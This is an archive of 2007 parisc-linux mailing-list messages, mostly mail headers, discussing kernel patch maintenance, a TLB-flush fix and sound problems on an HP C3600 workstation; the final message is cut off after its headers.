Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 22 Apr 2007 06:57:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 511D17DB90;
	Sat, 21 Apr 2007 22:57:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19900-09; Sat, 21 Apr 2007 22:57:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1451A7DB92;
	Sat, 21 Apr 2007 22:57:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8FCD7DB8F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 22:57:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19879-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 22:57:49 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 1DFC57DB8E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 22:57:49 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 0A9505840A8;
	Sun, 22 Apr 2007 00:57:48 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 55C075840A7;
	Sun, 22 Apr 2007 00:57:47 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 72AB3837DB;
	Sun, 22 Apr 2007 00:57:46 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id B7AC43B06E; Sun, 22 Apr 2007 00:55:18 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200704211911.l3LJBBgh028700@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BZ9PNlR2ZCEXmLGPamwhghFwIGhpZQbn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24481

On Sat, Apr 21, 2007 at 03:11:11PM -0400, John David Anglin wrote:
> I definitely miss being able to download parisc patched kernels
> and source for testing.  However, I recognize that maintaining
> this tree is a lot of work.
> 

I'm on a lot of planes over the next few weeks for work, I'll see if I can
finish off the tinderbox to provide prebuilt binaries and patches if I
get some peace and quiet.

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hanging linuxthread processes
Date: Sat, 21 Apr 2007 12:00:52 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <1177174852.3718.73.camel__31814.5627309152$1416624339$gmane$org@mulgrave.il.steeleye.com>
References: <119aab440704210751o66fae91mc10f30f429c71143@mail.gmail.com>
	<200704211600.l3LG0pp1025406@hiauly1.hia.nrc.ca>
	<119aab440704210916p65be074fg4b6503bedad88c54@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624339 23607 80.91.229.3 (22 Nov 2014 02:45:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:39 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2007 17:01:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 21 Apr 2007 19:01:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C7067DB5A;
	Sat, 21 Apr 2007 11:01:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15722-03; Sat, 21 Apr 2007 11:01:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B4D107DB57;
	Sat, 21 Apr 2007 11:01:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DDE07DB4A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 11:01:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15464-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 11:01:05 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 96EE37DB46
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 11:01:05 -0600 (MDT)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l3LH0rk16544; 
	Sat, 21 Apr 2007 13:00:53 -0400
In-Reply-To: <119aab440704210916p65be074fg4b6503bedad88c54@mail.gmail.com>
X-Mailer: Evolution 2.8.3 (2.8.3-2.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZHscD3FQQEVsxejDZnVp1PhKNzg2NQLW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24482

On Sat, 2007-04-21 at 12:16 -0400, Carlos O'Donell wrote:
> Are you considering your patch for Kyle's CFP?

Er, what patch?

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hanging linuxthread processes
Date: Sat, 21 Apr 2007 13:26:58 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200704211726.l3LHQxEg027021__516.683740034018$1416624339$gmane$org@hiauly1.hia.nrc.ca>
References: <1177174852.3718.73.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624339 23609 80.91.229.3 (22 Nov 2014 02:45:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:39 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2007 17:27:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 21 Apr 2007 19:27:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F37E07DB65;
	Sat, 21 Apr 2007 11:27:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15743-08; Sat, 21 Apr 2007 11:27:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D1C1D7DB5F;
	Sat, 21 Apr 2007 11:27:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 678CB7DB5D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 11:27:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15722-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 11:27:01 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 961097DB5C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 11:27:01 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l3LHQxsj027022;
	Sat, 21 Apr 2007 13:27:00 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l3LHQxEg027021;
	Sat, 21 Apr 2007 13:26:59 -0400 (EDT)
In-Reply-To: <1177174852.3718.73.camel@mulgrave.il.steeleye.com> from "James
	Bottomley" at Apr 21, 2007 12:00:52 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SXEcD3JQQEVsxejDZnVppIRKNzg2NUKH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24483

> On Sat, 2007-04-21 at 12:16 -0400, Carlos O'Donell wrote:
> > Are you considering your patch for Kyle's CFP?
> 
> Er, what patch?

http://lists.parisc-linux.org/pipermail/parisc-linux/2007-February/031385.html

There's also the somewhat related space register issue associated with
TLB flushing:

http://lists.parisc-linux.org/pipermail/parisc-linux/2007-February/031365.html

Randolph's change to tlbflush.h is broken and needs to be reverted
if we don't have a better fix yet.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julian Stecklina <der_julian@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sound problems on a C3600
Date: Sat, 21 Apr 2007 18:30:05 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <462A3C0D.8090004__873.708111658011$1416624339$gmane$org@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624339 23611 80.91.229.3 (22 Nov 2014 02:45:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2007 17:30:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 21 Apr 2007 19:30:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 48C787DB6F;
	Sat, 21 Apr 2007 11:30:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16071-08; Sat, 21 Apr 2007 11:30:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2621B7DB69;
	Sat, 21 Apr 2007 11:30:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 24B467DB5F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 11:30:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16157-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 11:30:21 -0600 (MDT)
Original-Received: from mailgate.urz.tu-dresden.de (rmr66-204.zih.tu-dresden.de
	[141.30.66.204])
	by free.linux.hp.com (Postfix) with ESMTP id 498577DB5C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 11:30:21 -0600 (MDT)
Original-Received: from [127.0.0.1] (helo=localhost)
	by mailgate-36 with esmtp (exim-4.51)
	for <parisc-linux@lists.parisc-linux.org>
	id 1HfJPZ-0003la-TK; Sat, 21 Apr 2007 19:30:14 +0200
Original-Received: from mailgate.urz.tu-dresden.de ([127.0.0.1])
	by localhost (amavis-36 [127.0.0.1]) (amavisd-new,
	port 10024) with ESMTP
	id 13615-33 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 19:30:13 +0200 (MEST)
Original-Received: from [141.30.67.31] (helo=server-n)
	by mailgate-36 with esmtp (exim-4.51)
	for <parisc-linux@lists.parisc-linux.org>
	id 1HfJPV-0003ip-Nf; Sat, 21 Apr 2007 19:30:10 +0200
Original-Received: from [192.168.10.159] (pd95d52ed.dip.t-dialin.net [217.93.82.237])
	by server-n (Postfix) with ESMTP id BF216100A094
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 19:30:08 +0200 (CEST)
User-Agent: Thunderbird 1.5.0.10 (X11/20070221)
X-TUD-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on amavis-36
X-TUD-Virus-Scanned: amavisd-new 2.3.1 (20050509) at tu-dresden.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YQ5gAXNwa2A7nLvDOHQyqucyOWhhakfk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24484

Hello,

I am trying to get my HP Visualize C3600 to output some sound, but 
without luck so far. Both the onboard AD1889 sound chip and a 
Soundblaster Live! PCI only produce highly distorted noises with the 
2.6.20.1 kernel.

Is there any information on how to debug this or something else I might 
try to get sound out of this box?

Regards,
Julian
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hanging linuxthread processes
Date: Sat, 21 Apr 2007 12:49:17 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <1177177757.3718.79.camel__32178.1555343934$1416624340$gmane$org@mulgrave.il.steeleye.com>
References: <200704211726.l3LHQxEg027021@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624340 23612 80.91.229.3 (22 Nov 2014 02:45:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:40 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2007 17:49:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 21 Apr 2007 19:49:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74BAD7DB5C;
	Sat, 21 Apr 2007 11:49:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16430-03; Sat, 21 Apr 2007 11:49:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 46A527DB69;
	Sat, 21 Apr 2007 11:49:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CFC0E7DB5C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 11:49:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16336-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 11:49:30 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 7C3BD7DB4C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 11:49:29 -0600 (MDT)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l3LHnIk18821; 
	Sat, 21 Apr 2007 13:49:18 -0400
In-Reply-To: <200704211726.l3LHQxEg027021@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.8.3 (2.8.3-2.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hHcScwdkbmw7m62HZzdLDa5HUzc4ctEb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24485

On Sat, 2007-04-21 at 13:26 -0400, John David Anglin wrote:
> > On Sat, 2007-04-21 at 12:16 -0400, Carlos O'Donell wrote:
> > > Are you considering your patch for Kyle's CFP?
> > 
> > Er, what patch?
> 
> http://lists.parisc-linux.org/pipermail/parisc-linux/2007-February/031385.html

This one, definitely not ... it doesn't work ... I need to get acess to
a machine again where I can play around with it.

> There's also the somewhat related space register issue associated with
> TLB flushing:
> 
> http://lists.parisc-linux.org/pipermail/parisc-linux/2007-February/031365.html

I think this one works OK ... but we could do with checking it

> Randolph's change to tlbflush.h is broken and needs to be reverted
> if we don't have a better fix yet.

I really think these problems demonstrate this new approach to patch
management is non functional.  I bet even the good patch has had no
testing at all for the last two months.  I'm afraid that unless I care
about a patch (i.e. I need it for something I'm doing), I shoot it
across the list and forget about it.  Previously, when I checked it into
the repository and forgot about it, at least it was being built and
tested ... and someone would eventually notice if it needed to go
upstream.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Splitted lasi_82596 driver
Date: Sun, 22 Apr 2007 15:06:26 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <20070422130626.GA6828__48593.6211691753$1416624340$gmane$org@alpha.franken.de>
References: <20070415144209.GA11196@alpha.franken.de> <200704211614.19496.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624340 23616 80.91.229.3 (22 Nov 2014 02:45:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <tsbogend@alpha.franken.de>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Apr 2007 13:06:32 -0000
Original-Received: from elvis.franken.de (EHLO elvis.franken.de) [193.175.24.41]
  by mx0.gmx.net (mx081) with SMTP; 22 Apr 2007 15:06:32 +0200
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1Hfblw-0000ut-00; Sun, 22 Apr 2007 15:06:32 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 92BB3C2262; Sun, 22 Apr 2007 15:06:26 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <200704211614.19496.deller@gmx.de>
User-Agent: Mutt/1.5.9i
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6W8NbhKwLi5n1PfRZWtpd/tjZml1ZFgP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
